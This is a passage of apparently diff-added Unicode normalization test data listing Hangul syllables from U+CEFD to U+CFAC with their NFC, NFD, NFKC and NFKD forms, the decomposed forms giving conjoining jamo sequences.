+{ source: [0xCEFD], NFC: [0xCEFD], NFD: [0x110F, 0x1165, 0x11C0], NFKC: [0xCEFD], NFKD: [0x110F, 0x1165, 0x11C0] },
+{ source: [0xCEFE], NFC: [0xCEFE], NFD: [0x110F, 0x1165, 0x11C1], NFKC: [0xCEFE], NFKD: [0x110F, 0x1165, 0x11C1] },
+{ source: [0xCEFF], NFC: [0xCEFF], NFD: [0x110F, 0x1165, 0x11C2], NFKC: [0xCEFF], NFKD: [0x110F, 0x1165, 0x11C2] },
+{ source: [0xCF00], NFC: [0xCF00], NFD: [0x110F, 0x1166], NFKC: [0xCF00], NFKD: [0x110F, 0x1166] },
+{ source: [0xCF01], NFC: [0xCF01], NFD: [0x110F, 0x1166, 0x11A8], NFKC: [0xCF01], NFKD: [0x110F, 0x1166, 0x11A8] },
+{ source: [0xCF02], NFC: [0xCF02], NFD: [0x110F, 0x1166, 0x11A9], NFKC: [0xCF02], NFKD: [0x110F, 0x1166, 0x11A9] },
+{ source: [0xCF03], NFC: [0xCF03], NFD: [0x110F, 0x1166, 0x11AA], NFKC: [0xCF03], NFKD: [0x110F, 0x1166, 0x11AA] },
+{ source: [0xCF04], NFC: [0xCF04], NFD: [0x110F, 0x1166, 0x11AB], NFKC: [0xCF04], NFKD: [0x110F, 0x1166, 0x11AB] },
+{ source: [0xCF05], NFC: [0xCF05], NFD: [0x110F, 0x1166, 0x11AC], NFKC: [0xCF05], NFKD: [0x110F, 0x1166, 0x11AC] },
+{ source: [0xCF06], NFC: [0xCF06], NFD: [0x110F, 0x1166, 0x11AD], NFKC: [0xCF06], NFKD: [0x110F, 0x1166, 0x11AD] },
+{ source: [0xCF07], NFC: [0xCF07], NFD: [0x110F, 0x1166, 0x11AE], NFKC: [0xCF07], NFKD: [0x110F, 0x1166, 0x11AE] },
+{ source: [0xCF08], NFC: [0xCF08], NFD: [0x110F, 0x1166, 0x11AF], NFKC: [0xCF08], NFKD: [0x110F, 0x1166, 0x11AF] },
+{ source: [0xCF09], NFC: [0xCF09], NFD: [0x110F, 0x1166, 0x11B0], NFKC: [0xCF09], NFKD: [0x110F, 0x1166, 0x11B0] },
+{ source: [0xCF0A], NFC: [0xCF0A], NFD: [0x110F, 0x1166, 0x11B1], NFKC: [0xCF0A], NFKD: [0x110F, 0x1166, 0x11B1] },
+{ source: [0xCF0B], NFC: [0xCF0B], NFD: [0x110F, 0x1166, 0x11B2], NFKC: [0xCF0B], NFKD: [0x110F, 0x1166, 0x11B2] },
+{ source: [0xCF0C], NFC: [0xCF0C], NFD: [0x110F, 0x1166, 0x11B3], NFKC: [0xCF0C], NFKD: [0x110F, 0x1166, 0x11B3] },
+{ source: [0xCF0D], NFC: [0xCF0D], NFD: [0x110F, 0x1166, 0x11B4], NFKC: [0xCF0D], NFKD: [0x110F, 0x1166, 0x11B4] },
+{ source: [0xCF0E], NFC: [0xCF0E], NFD: [0x110F, 0x1166, 0x11B5], NFKC: [0xCF0E], NFKD: [0x110F, 0x1166, 0x11B5] },
+{ source: [0xCF0F], NFC: [0xCF0F], NFD: [0x110F, 0x1166, 0x11B6], NFKC: [0xCF0F], NFKD: [0x110F, 0x1166, 0x11B6] },
+{ source: [0xCF10], NFC: [0xCF10], NFD: [0x110F, 0x1166, 0x11B7], NFKC: [0xCF10], NFKD: [0x110F, 0x1166, 0x11B7] },
+{ source: [0xCF11], NFC: [0xCF11], NFD: [0x110F, 0x1166, 0x11B8], NFKC: [0xCF11], NFKD: [0x110F, 0x1166, 0x11B8] },
+{ source: [0xCF12], NFC: [0xCF12], NFD: [0x110F, 0x1166, 0x11B9], NFKC: [0xCF12], NFKD: [0x110F, 0x1166, 0x11B9] },
+{ source: [0xCF13], NFC: [0xCF13], NFD: [0x110F, 0x1166, 0x11BA], NFKC: [0xCF13], NFKD: [0x110F, 0x1166, 0x11BA] },
+{ source: [0xCF14], NFC: [0xCF14], NFD: [0x110F, 0x1166, 0x11BB], NFKC: [0xCF14], NFKD: [0x110F, 0x1166, 0x11BB] },
+{ source: [0xCF15], NFC: [0xCF15], NFD: [0x110F, 0x1166, 0x11BC], NFKC: [0xCF15], NFKD: [0x110F, 0x1166, 0x11BC] },
+{ source: [0xCF16], NFC: [0xCF16], NFD: [0x110F, 0x1166, 0x11BD], NFKC: [0xCF16], NFKD: [0x110F, 0x1166, 0x11BD] },
+{ source: [0xCF17], NFC: [0xCF17], NFD: [0x110F, 0x1166, 0x11BE], NFKC: [0xCF17], NFKD: [0x110F, 0x1166, 0x11BE] },
+{ source: [0xCF18], NFC: [0xCF18], NFD: [0x110F, 0x1166, 0x11BF], NFKC: [0xCF18], NFKD: [0x110F, 0x1166, 0x11BF] },
+{ source: [0xCF19], NFC: [0xCF19], NFD: [0x110F, 0x1166, 0x11C0], NFKC: [0xCF19], NFKD: [0x110F, 0x1166, 0x11C0] },
+{ source: [0xCF1A], NFC: [0xCF1A], NFD: [0x110F, 0x1166, 0x11C1], NFKC: [0xCF1A], NFKD: [0x110F, 0x1166, 0x11C1] },
+{ source: [0xCF1B], NFC: [0xCF1B], NFD: [0x110F, 0x1166, 0x11C2], NFKC: [0xCF1B], NFKD: [0x110F, 0x1166, 0x11C2] },
+{ source: [0xCF1C], NFC: [0xCF1C], NFD: [0x110F, 0x1167], NFKC: [0xCF1C], NFKD: [0x110F, 0x1167] },
+{ source: [0xCF1D], NFC: [0xCF1D], NFD: [0x110F, 0x1167, 0x11A8], NFKC: [0xCF1D], NFKD: [0x110F, 0x1167, 0x11A8] },
+{ source: [0xCF1E], NFC: [0xCF1E], NFD: [0x110F, 0x1167, 0x11A9], NFKC: [0xCF1E], NFKD: [0x110F, 0x1167, 0x11A9] },
+{ source: [0xCF1F], NFC: [0xCF1F], NFD: [0x110F, 0x1167, 0x11AA], NFKC: [0xCF1F], NFKD: [0x110F, 0x1167, 0x11AA] },
+{ source: [0xCF20], NFC: [0xCF20], NFD: [0x110F, 0x1167, 0x11AB], NFKC: [0xCF20], NFKD: [0x110F, 0x1167, 0x11AB] },
+{ source: [0xCF21], NFC: [0xCF21], NFD: [0x110F, 0x1167, 0x11AC], NFKC: [0xCF21], NFKD: [0x110F, 0x1167, 0x11AC] },
+{ source: [0xCF22], NFC: [0xCF22], NFD: [0x110F, 0x1167, 0x11AD], NFKC: [0xCF22], NFKD: [0x110F, 0x1167, 0x11AD] },
+{ source: [0xCF23], NFC: [0xCF23], NFD: [0x110F, 0x1167, 0x11AE], NFKC: [0xCF23], NFKD: [0x110F, 0x1167, 0x11AE] },
+{ source: [0xCF24], NFC: [0xCF24], NFD: [0x110F, 0x1167, 0x11AF], NFKC: [0xCF24], NFKD: [0x110F, 0x1167, 0x11AF] },
+{ source: [0xCF25], NFC: [0xCF25], NFD: [0x110F, 0x1167, 0x11B0], NFKC: [0xCF25], NFKD: [0x110F, 0x1167, 0x11B0] },
+{ source: [0xCF26], NFC: [0xCF26], NFD: [0x110F, 0x1167, 0x11B1], NFKC: [0xCF26], NFKD: [0x110F, 0x1167, 0x11B1] },
+{ source: [0xCF27], NFC: [0xCF27], NFD: [0x110F, 0x1167, 0x11B2], NFKC: [0xCF27], NFKD: [0x110F, 0x1167, 0x11B2] },
+{ source: [0xCF28], NFC: [0xCF28], NFD: [0x110F, 0x1167, 0x11B3], NFKC: [0xCF28], NFKD: [0x110F, 0x1167, 0x11B3] },
+{ source: [0xCF29], NFC: [0xCF29], NFD: [0x110F, 0x1167, 0x11B4], NFKC: [0xCF29], NFKD: [0x110F, 0x1167, 0x11B4] },
+{ source: [0xCF2A], NFC: [0xCF2A], NFD: [0x110F, 0x1167, 0x11B5], NFKC: [0xCF2A], NFKD: [0x110F, 0x1167, 0x11B5] },
+{ source: [0xCF2B], NFC: [0xCF2B], NFD: [0x110F, 0x1167, 0x11B6], NFKC: [0xCF2B], NFKD: [0x110F, 0x1167, 0x11B6] },
+{ source: [0xCF2C], NFC: [0xCF2C], NFD: [0x110F, 0x1167, 0x11B7], NFKC: [0xCF2C], NFKD: [0x110F, 0x1167, 0x11B7] },
+{ source: [0xCF2D], NFC: [0xCF2D], NFD: [0x110F, 0x1167, 0x11B8], NFKC: [0xCF2D], NFKD: [0x110F, 0x1167, 0x11B8] },
+{ source: [0xCF2E], NFC: [0xCF2E], NFD: [0x110F, 0x1167, 0x11B9], NFKC: [0xCF2E], NFKD: [0x110F, 0x1167, 0x11B9] },
+{ source: [0xCF2F], NFC: [0xCF2F], NFD: [0x110F, 0x1167, 0x11BA], NFKC: [0xCF2F], NFKD: [0x110F, 0x1167, 0x11BA] },
+{ source: [0xCF30], NFC: [0xCF30], NFD: [0x110F, 0x1167, 0x11BB], NFKC: [0xCF30], NFKD: [0x110F, 0x1167, 0x11BB] },
+{ source: [0xCF31], NFC: [0xCF31], NFD: [0x110F, 0x1167, 0x11BC], NFKC: [0xCF31], NFKD: [0x110F, 0x1167, 0x11BC] },
+{ source: [0xCF32], NFC: [0xCF32], NFD: [0x110F, 0x1167, 0x11BD], NFKC: [0xCF32], NFKD: [0x110F, 0x1167, 0x11BD] },
+{ source: [0xCF33], NFC: [0xCF33], NFD: [0x110F, 0x1167, 0x11BE], NFKC: [0xCF33], NFKD: [0x110F, 0x1167, 0x11BE] },
+{ source: [0xCF34], NFC: [0xCF34], NFD: [0x110F, 0x1167, 0x11BF], NFKC: [0xCF34], NFKD: [0x110F, 0x1167, 0x11BF] },
+{ source: [0xCF35], NFC: [0xCF35], NFD: [0x110F, 0x1167, 0x11C0], NFKC: [0xCF35], NFKD: [0x110F, 0x1167, 0x11C0] },
+{ source: [0xCF36], NFC: [0xCF36], NFD: [0x110F, 0x1167, 0x11C1], NFKC: [0xCF36], NFKD: [0x110F, 0x1167, 0x11C1] },
+{ source: [0xCF37], NFC: [0xCF37], NFD: [0x110F, 0x1167, 0x11C2], NFKC: [0xCF37], NFKD: [0x110F, 0x1167, 0x11C2] },
+{ source: [0xCF38], NFC: [0xCF38], NFD: [0x110F, 0x1168], NFKC: [0xCF38], NFKD: [0x110F, 0x1168] },
+{ source: [0xCF39], NFC: [0xCF39], NFD: [0x110F, 0x1168, 0x11A8], NFKC: [0xCF39], NFKD: [0x110F, 0x1168, 0x11A8] },
+{ source: [0xCF3A], NFC: [0xCF3A], NFD: [0x110F, 0x1168, 0x11A9], NFKC: [0xCF3A], NFKD: [0x110F, 0x1168, 0x11A9] },
+{ source: [0xCF3B], NFC: [0xCF3B], NFD: [0x110F, 0x1168, 0x11AA], NFKC: [0xCF3B], NFKD: [0x110F, 0x1168, 0x11AA] },
+{ source: [0xCF3C], NFC: [0xCF3C], NFD: [0x110F, 0x1168, 0x11AB], NFKC: [0xCF3C], NFKD: [0x110F, 0x1168, 0x11AB] },
+{ source: [0xCF3D], NFC: [0xCF3D], NFD: [0x110F, 0x1168, 0x11AC], NFKC: [0xCF3D], NFKD: [0x110F, 0x1168, 0x11AC] },
+{ source: [0xCF3E], NFC: [0xCF3E], NFD: [0x110F, 0x1168, 0x11AD], NFKC: [0xCF3E], NFKD: [0x110F, 0x1168, 0x11AD] },
+{ source: [0xCF3F], NFC: [0xCF3F], NFD: [0x110F, 0x1168, 0x11AE], NFKC: [0xCF3F], NFKD: [0x110F, 0x1168, 0x11AE] },
+{ source: [0xCF40], NFC: [0xCF40], NFD: [0x110F, 0x1168, 0x11AF], NFKC: [0xCF40], NFKD: [0x110F, 0x1168, 0x11AF] },
+{ source: [0xCF41], NFC: [0xCF41], NFD: [0x110F, 0x1168, 0x11B0], NFKC: [0xCF41], NFKD: [0x110F, 0x1168, 0x11B0] },
+{ source: [0xCF42], NFC: [0xCF42], NFD: [0x110F, 0x1168, 0x11B1], NFKC: [0xCF42], NFKD: [0x110F, 0x1168, 0x11B1] },
+{ source: [0xCF43], NFC: [0xCF43], NFD: [0x110F, 0x1168, 0x11B2], NFKC: [0xCF43], NFKD: [0x110F, 0x1168, 0x11B2] },
+{ source: [0xCF44], NFC: [0xCF44], NFD: [0x110F, 0x1168, 0x11B3], NFKC: [0xCF44], NFKD: [0x110F, 0x1168, 0x11B3] },
+{ source: [0xCF45], NFC: [0xCF45], NFD: [0x110F, 0x1168, 0x11B4], NFKC: [0xCF45], NFKD: [0x110F, 0x1168, 0x11B4] },
+{ source: [0xCF46], NFC: [0xCF46], NFD: [0x110F, 0x1168, 0x11B5], NFKC: [0xCF46], NFKD: [0x110F, 0x1168, 0x11B5] },
+{ source: [0xCF47], NFC: [0xCF47], NFD: [0x110F, 0x1168, 0x11B6], NFKC: [0xCF47], NFKD: [0x110F, 0x1168, 0x11B6] },
+{ source: [0xCF48], NFC: [0xCF48], NFD: [0x110F, 0x1168, 0x11B7], NFKC: [0xCF48], NFKD: [0x110F, 0x1168, 0x11B7] },
+{ source: [0xCF49], NFC: [0xCF49], NFD: [0x110F, 0x1168, 0x11B8], NFKC: [0xCF49], NFKD: [0x110F, 0x1168, 0x11B8] },
+{ source: [0xCF4A], NFC: [0xCF4A], NFD: [0x110F, 0x1168, 0x11B9], NFKC: [0xCF4A], NFKD: [0x110F, 0x1168, 0x11B9] },
+{ source: [0xCF4B], NFC: [0xCF4B], NFD: [0x110F, 0x1168, 0x11BA], NFKC: [0xCF4B], NFKD: [0x110F, 0x1168, 0x11BA] },
+{ source: [0xCF4C], NFC: [0xCF4C], NFD: [0x110F, 0x1168, 0x11BB], NFKC: [0xCF4C], NFKD: [0x110F, 0x1168, 0x11BB] },
+{ source: [0xCF4D], NFC: [0xCF4D], NFD: [0x110F, 0x1168, 0x11BC], NFKC: [0xCF4D], NFKD: [0x110F, 0x1168, 0x11BC] },
+{ source: [0xCF4E], NFC: [0xCF4E], NFD: [0x110F, 0x1168, 0x11BD], NFKC: [0xCF4E], NFKD: [0x110F, 0x1168, 0x11BD] },
+{ source: [0xCF4F], NFC: [0xCF4F], NFD: [0x110F, 0x1168, 0x11BE], NFKC: [0xCF4F], NFKD: [0x110F, 0x1168, 0x11BE] },
+{ source: [0xCF50], NFC: [0xCF50], NFD: [0x110F, 0x1168, 0x11BF], NFKC: [0xCF50], NFKD: [0x110F, 0x1168, 0x11BF] },
+{ source: [0xCF51], NFC: [0xCF51], NFD: [0x110F, 0x1168, 0x11C0], NFKC: [0xCF51], NFKD: [0x110F, 0x1168, 0x11C0] },
+{ source: [0xCF52], NFC: [0xCF52], NFD: [0x110F, 0x1168, 0x11C1], NFKC: [0xCF52], NFKD: [0x110F, 0x1168, 0x11C1] },
+{ source: [0xCF53], NFC: [0xCF53], NFD: [0x110F, 0x1168, 0x11C2], NFKC: [0xCF53], NFKD: [0x110F, 0x1168, 0x11C2] },
+{ source: [0xCF54], NFC: [0xCF54], NFD: [0x110F, 0x1169], NFKC: [0xCF54], NFKD: [0x110F, 0x1169] },
+{ source: [0xCF55], NFC: [0xCF55], NFD: [0x110F, 0x1169, 0x11A8], NFKC: [0xCF55], NFKD: [0x110F, 0x1169, 0x11A8] },
+{ source: [0xCF56], NFC: [0xCF56], NFD: [0x110F, 0x1169, 0x11A9], NFKC: [0xCF56], NFKD: [0x110F, 0x1169, 0x11A9] },
+{ source: [0xCF57], NFC: [0xCF57], NFD: [0x110F, 0x1169, 0x11AA], NFKC: [0xCF57], NFKD: [0x110F, 0x1169, 0x11AA] },
+{ source: [0xCF58], NFC: [0xCF58], NFD: [0x110F, 0x1169, 0x11AB], NFKC: [0xCF58], NFKD: [0x110F, 0x1169, 0x11AB] },
+{ source: [0xCF59], NFC: [0xCF59], NFD: [0x110F, 0x1169, 0x11AC], NFKC: [0xCF59], NFKD: [0x110F, 0x1169, 0x11AC] },
+{ source: [0xCF5A], NFC: [0xCF5A], NFD: [0x110F, 0x1169, 0x11AD], NFKC: [0xCF5A], NFKD: [0x110F, 0x1169, 0x11AD] },
+{ source: [0xCF5B], NFC: [0xCF5B], NFD: [0x110F, 0x1169, 0x11AE], NFKC: [0xCF5B], NFKD: [0x110F, 0x1169, 0x11AE] },
+{ source: [0xCF5C], NFC: [0xCF5C], NFD: [0x110F, 0x1169, 0x11AF], NFKC: [0xCF5C], NFKD: [0x110F, 0x1169, 0x11AF] },
+{ source: [0xCF5D], NFC: [0xCF5D], NFD: [0x110F, 0x1169, 0x11B0], NFKC: [0xCF5D], NFKD: [0x110F, 0x1169, 0x11B0] },
+{ source: [0xCF5E], NFC: [0xCF5E], NFD: [0x110F, 0x1169, 0x11B1], NFKC: [0xCF5E], NFKD: [0x110F, 0x1169, 0x11B1] },
+{ source: [0xCF5F], NFC: [0xCF5F], NFD: [0x110F, 0x1169, 0x11B2], NFKC: [0xCF5F], NFKD: [0x110F, 0x1169, 0x11B2] },
+{ source: [0xCF60], NFC: [0xCF60], NFD: [0x110F, 0x1169, 0x11B3], NFKC: [0xCF60], NFKD: [0x110F, 0x1169, 0x11B3] },
+{ source: [0xCF61], NFC: [0xCF61], NFD: [0x110F, 0x1169, 0x11B4], NFKC: [0xCF61], NFKD: [0x110F, 0x1169, 0x11B4] },
+{ source: [0xCF62], NFC: [0xCF62], NFD: [0x110F, 0x1169, 0x11B5], NFKC: [0xCF62], NFKD: [0x110F, 0x1169, 0x11B5] },
+{ source: [0xCF63], NFC: [0xCF63], NFD: [0x110F, 0x1169, 0x11B6], NFKC: [0xCF63], NFKD: [0x110F, 0x1169, 0x11B6] },
+{ source: [0xCF64], NFC: [0xCF64], NFD: [0x110F, 0x1169, 0x11B7], NFKC: [0xCF64], NFKD: [0x110F, 0x1169, 0x11B7] },
+{ source: [0xCF65], NFC: [0xCF65], NFD: [0x110F, 0x1169, 0x11B8], NFKC: [0xCF65], NFKD: [0x110F, 0x1169, 0x11B8] },
+{ source: [0xCF66], NFC: [0xCF66], NFD: [0x110F, 0x1169, 0x11B9], NFKC: [0xCF66], NFKD: [0x110F, 0x1169, 0x11B9] },
+{ source: [0xCF67], NFC: [0xCF67], NFD: [0x110F, 0x1169, 0x11BA], NFKC: [0xCF67], NFKD: [0x110F, 0x1169, 0x11BA] },
+{ source: [0xCF68], NFC: [0xCF68], NFD: [0x110F, 0x1169, 0x11BB], NFKC: [0xCF68], NFKD: [0x110F, 0x1169, 0x11BB] },
+{ source: [0xCF69], NFC: [0xCF69], NFD: [0x110F, 0x1169, 0x11BC], NFKC: [0xCF69], NFKD: [0x110F, 0x1169, 0x11BC] },
+{ source: [0xCF6A], NFC: [0xCF6A], NFD: [0x110F, 0x1169, 0x11BD], NFKC: [0xCF6A], NFKD: [0x110F, 0x1169, 0x11BD] },
+{ source: [0xCF6B], NFC: [0xCF6B], NFD: [0x110F, 0x1169, 0x11BE], NFKC: [0xCF6B], NFKD: [0x110F, 0x1169, 0x11BE] },
+{ source: [0xCF6C], NFC: [0xCF6C], NFD: [0x110F, 0x1169, 0x11BF], NFKC: [0xCF6C], NFKD: [0x110F, 0x1169, 0x11BF] },
+{ source: [0xCF6D], NFC: [0xCF6D], NFD: [0x110F, 0x1169, 0x11C0], NFKC: [0xCF6D], NFKD: [0x110F, 0x1169, 0x11C0] },
+{ source: [0xCF6E], NFC: [0xCF6E], NFD: [0x110F, 0x1169, 0x11C1], NFKC: [0xCF6E], NFKD: [0x110F, 0x1169, 0x11C1] },
+{ source: [0xCF6F], NFC: [0xCF6F], NFD: [0x110F, 0x1169, 0x11C2], NFKC: [0xCF6F], NFKD: [0x110F, 0x1169, 0x11C2] },
+{ source: [0xCF70], NFC: [0xCF70], NFD: [0x110F, 0x116A], NFKC: [0xCF70], NFKD: [0x110F, 0x116A] },
+{ source: [0xCF71], NFC: [0xCF71], NFD: [0x110F, 0x116A, 0x11A8], NFKC: [0xCF71], NFKD: [0x110F, 0x116A, 0x11A8] },
+{ source: [0xCF72], NFC: [0xCF72], NFD: [0x110F, 0x116A, 0x11A9], NFKC: [0xCF72], NFKD: [0x110F, 0x116A, 0x11A9] },
+{ source: [0xCF73], NFC: [0xCF73], NFD: [0x110F, 0x116A, 0x11AA], NFKC: [0xCF73], NFKD: [0x110F, 0x116A, 0x11AA] },
+{ source: [0xCF74], NFC: [0xCF74], NFD: [0x110F, 0x116A, 0x11AB], NFKC: [0xCF74], NFKD: [0x110F, 0x116A, 0x11AB] },
+{ source: [0xCF75], NFC: [0xCF75], NFD: [0x110F, 0x116A, 0x11AC], NFKC: [0xCF75], NFKD: [0x110F, 0x116A, 0x11AC] },
+{ source: [0xCF76], NFC: [0xCF76], NFD: [0x110F, 0x116A, 0x11AD], NFKC: [0xCF76], NFKD: [0x110F, 0x116A, 0x11AD] },
+{ source: [0xCF77], NFC: [0xCF77], NFD: [0x110F, 0x116A, 0x11AE], NFKC: [0xCF77], NFKD: [0x110F, 0x116A, 0x11AE] },
+{ source: [0xCF78], NFC: [0xCF78], NFD: [0x110F, 0x116A, 0x11AF], NFKC: [0xCF78], NFKD: [0x110F, 0x116A, 0x11AF] },
+{ source: [0xCF79], NFC: [0xCF79], NFD: [0x110F, 0x116A, 0x11B0], NFKC: [0xCF79], NFKD: [0x110F, 0x116A, 0x11B0] },
+{ source: [0xCF7A], NFC: [0xCF7A], NFD: [0x110F, 0x116A, 0x11B1], NFKC: [0xCF7A], NFKD: [0x110F, 0x116A, 0x11B1] },
+{ source: [0xCF7B], NFC: [0xCF7B], NFD: [0x110F, 0x116A, 0x11B2], NFKC: [0xCF7B], NFKD: [0x110F, 0x116A, 0x11B2] },
+{ source: [0xCF7C], NFC: [0xCF7C], NFD: [0x110F, 0x116A, 0x11B3], NFKC: [0xCF7C], NFKD: [0x110F, 0x116A, 0x11B3] },
+{ source: [0xCF7D], NFC: [0xCF7D], NFD: [0x110F, 0x116A, 0x11B4], NFKC: [0xCF7D], NFKD: [0x110F, 0x116A, 0x11B4] },
+{ source: [0xCF7E], NFC: [0xCF7E], NFD: [0x110F, 0x116A, 0x11B5], NFKC: [0xCF7E], NFKD: [0x110F, 0x116A, 0x11B5] },
+{ source: [0xCF7F], NFC: [0xCF7F], NFD: [0x110F, 0x116A, 0x11B6], NFKC: [0xCF7F], NFKD: [0x110F, 0x116A, 0x11B6] },
+{ source: [0xCF80], NFC: [0xCF80], NFD: [0x110F, 0x116A, 0x11B7], NFKC: [0xCF80], NFKD: [0x110F, 0x116A, 0x11B7] },
+{ source: [0xCF81], NFC: [0xCF81], NFD: [0x110F, 0x116A, 0x11B8], NFKC: [0xCF81], NFKD: [0x110F, 0x116A, 0x11B8] },
+{ source: [0xCF82], NFC: [0xCF82], NFD: [0x110F, 0x116A, 0x11B9], NFKC: [0xCF82], NFKD: [0x110F, 0x116A, 0x11B9] },
+{ source: [0xCF83], NFC: [0xCF83], NFD: [0x110F, 0x116A, 0x11BA], NFKC: [0xCF83], NFKD: [0x110F, 0x116A, 0x11BA] },
+{ source: [0xCF84], NFC: [0xCF84], NFD: [0x110F, 0x116A, 0x11BB], NFKC: [0xCF84], NFKD: [0x110F, 0x116A, 0x11BB] },
+{ source: [0xCF85], NFC: [0xCF85], NFD: [0x110F, 0x116A, 0x11BC], NFKC: [0xCF85], NFKD: [0x110F, 0x116A, 0x11BC] },
+{ source: [0xCF86], NFC: [0xCF86], NFD: [0x110F, 0x116A, 0x11BD], NFKC: [0xCF86], NFKD: [0x110F, 0x116A, 0x11BD] },
+{ source: [0xCF87], NFC: [0xCF87], NFD: [0x110F, 0x116A, 0x11BE], NFKC: [0xCF87], NFKD: [0x110F, 0x116A, 0x11BE] },
+{ source: [0xCF88], NFC: [0xCF88], NFD: [0x110F, 0x116A, 0x11BF], NFKC: [0xCF88], NFKD: [0x110F, 0x116A, 0x11BF] },
+{ source: [0xCF89], NFC: [0xCF89], NFD: [0x110F, 0x116A, 0x11C0], NFKC: [0xCF89], NFKD: [0x110F, 0x116A, 0x11C0] },
+{ source: [0xCF8A], NFC: [0xCF8A], NFD: [0x110F, 0x116A, 0x11C1], NFKC: [0xCF8A], NFKD: [0x110F, 0x116A, 0x11C1] },
+{ source: [0xCF8B], NFC: [0xCF8B], NFD: [0x110F, 0x116A, 0x11C2], NFKC: [0xCF8B], NFKD: [0x110F, 0x116A, 0x11C2] },
+{ source: [0xCF8C], NFC: [0xCF8C], NFD: [0x110F, 0x116B], NFKC: [0xCF8C], NFKD: [0x110F, 0x116B] },
+{ source: [0xCF8D], NFC: [0xCF8D], NFD: [0x110F, 0x116B, 0x11A8], NFKC: [0xCF8D], NFKD: [0x110F, 0x116B, 0x11A8] },
+{ source: [0xCF8E], NFC: [0xCF8E], NFD: [0x110F, 0x116B, 0x11A9], NFKC: [0xCF8E], NFKD: [0x110F, 0x116B, 0x11A9] },
+{ source: [0xCF8F], NFC: [0xCF8F], NFD: [0x110F, 0x116B, 0x11AA], NFKC: [0xCF8F], NFKD: [0x110F, 0x116B, 0x11AA] },
+{ source: [0xCF90], NFC: [0xCF90], NFD: [0x110F, 0x116B, 0x11AB], NFKC: [0xCF90], NFKD: [0x110F, 0x116B, 0x11AB] },
+{ source: [0xCF91], NFC: [0xCF91], NFD: [0x110F, 0x116B, 0x11AC], NFKC: [0xCF91], NFKD: [0x110F, 0x116B, 0x11AC] },
+{ source: [0xCF92], NFC: [0xCF92], NFD: [0x110F, 0x116B, 0x11AD], NFKC: [0xCF92], NFKD: [0x110F, 0x116B, 0x11AD] },
+{ source: [0xCF93], NFC: [0xCF93], NFD: [0x110F, 0x116B, 0x11AE], NFKC: [0xCF93], NFKD: [0x110F, 0x116B, 0x11AE] },
+{ source: [0xCF94], NFC: [0xCF94], NFD: [0x110F, 0x116B, 0x11AF], NFKC: [0xCF94], NFKD: [0x110F, 0x116B, 0x11AF] },
+{ source: [0xCF95], NFC: [0xCF95], NFD: [0x110F, 0x116B, 0x11B0], NFKC: [0xCF95], NFKD: [0x110F, 0x116B, 0x11B0] },
+{ source: [0xCF96], NFC: [0xCF96], NFD: [0x110F, 0x116B, 0x11B1], NFKC: [0xCF96], NFKD: [0x110F, 0x116B, 0x11B1] },
+{ source: [0xCF97], NFC: [0xCF97], NFD: [0x110F, 0x116B, 0x11B2], NFKC: [0xCF97], NFKD: [0x110F, 0x116B, 0x11B2] },
+{ source: [0xCF98], NFC: [0xCF98], NFD: [0x110F, 0x116B, 0x11B3], NFKC: [0xCF98], NFKD: [0x110F, 0x116B, 0x11B3] },
+{ source: [0xCF99], NFC: [0xCF99], NFD: [0x110F, 0x116B, 0x11B4], NFKC: [0xCF99], NFKD: [0x110F, 0x116B, 0x11B4] },
+{ source: [0xCF9A], NFC: [0xCF9A], NFD: [0x110F, 0x116B, 0x11B5], NFKC: [0xCF9A], NFKD: [0x110F, 0x116B, 0x11B5] },
+{ source: [0xCF9B], NFC: [0xCF9B], NFD: [0x110F, 0x116B, 0x11B6], NFKC: [0xCF9B], NFKD: [0x110F, 0x116B, 0x11B6] },
+{ source: [0xCF9C], NFC: [0xCF9C], NFD: [0x110F, 0x116B, 0x11B7], NFKC: [0xCF9C], NFKD: [0x110F, 0x116B, 0x11B7] },
+{ source: [0xCF9D], NFC: [0xCF9D], NFD: [0x110F, 0x116B, 0x11B8], NFKC: [0xCF9D], NFKD: [0x110F, 0x116B, 0x11B8] },
+{ source: [0xCF9E], NFC: [0xCF9E], NFD: [0x110F, 0x116B, 0x11B9], NFKC: [0xCF9E], NFKD: [0x110F, 0x116B, 0x11B9] },
+{ source: [0xCF9F], NFC: [0xCF9F], NFD: [0x110F, 0x116B, 0x11BA], NFKC: [0xCF9F], NFKD: [0x110F, 0x116B, 0x11BA] },
+{ source: [0xCFA0], NFC: [0xCFA0], NFD: [0x110F, 0x116B, 0x11BB], NFKC: [0xCFA0], NFKD: [0x110F, 0x116B, 0x11BB] },
+{ source: [0xCFA1], NFC: [0xCFA1], NFD: [0x110F, 0x116B, 0x11BC], NFKC: [0xCFA1], NFKD: [0x110F, 0x116B, 0x11BC] },
+{ source: [0xCFA2], NFC: [0xCFA2], NFD: [0x110F, 0x116B, 0x11BD], NFKC: [0xCFA2], NFKD: [0x110F, 0x116B, 0x11BD] },
+{ source: [0xCFA3], NFC: [0xCFA3], NFD: [0x110F, 0x116B, 0x11BE], NFKC: [0xCFA3], NFKD: [0x110F, 0x116B, 0x11BE] },
+{ source: [0xCFA4], NFC: [0xCFA4], NFD: [0x110F, 0x116B, 0x11BF], NFKC: [0xCFA4], NFKD: [0x110F, 0x116B, 0x11BF] },
+{ source: [0xCFA5], NFC: [0xCFA5], NFD: [0x110F, 0x116B, 0x11C0], NFKC: [0xCFA5], NFKD: [0x110F, 0x116B, 0x11C0] },
+{ source: [0xCFA6], NFC: [0xCFA6], NFD: [0x110F, 0x116B, 0x11C1], NFKC: [0xCFA6], NFKD: [0x110F, 0x116B, 0x11C1] },
+{ source: [0xCFA7], NFC: [0xCFA7], NFD: [0x110F, 0x116B, 0x11C2], NFKC: [0xCFA7], NFKD: [0x110F, 0x116B, 0x11C2] },
+{ source: [0xCFA8], NFC: [0xCFA8], NFD: [0x110F, 0x116C], NFKC: [0xCFA8], NFKD: [0x110F, 0x116C] },
+{ source: [0xCFA9], NFC: [0xCFA9], NFD: [0x110F, 0x116C, 0x11A8], NFKC: [0xCFA9], NFKD: [0x110F, 0x116C, 0x11A8] },
+{ source: [0xCFAA], NFC: [0xCFAA], NFD: [0x110F, 0x116C, 0x11A9], NFKC: [0xCFAA], NFKD: [0x110F, 0x116C, 0x11A9] },
+{ source: [0xCFAB], NFC: [0xCFAB], NFD: [0x110F, 0x116C, 0x11AA], NFKC: [0xCFAB], NFKD: [0x110F, 0x116C, 0x11AA] },
+{ source: [0xCFAC], NFC: [0xCFAC], NFD: [0x110F, 0x116C, 0x11AB], NFKC: [0xCFAC], NFKD: [0x110F, 0x116C, 0x11AB] },
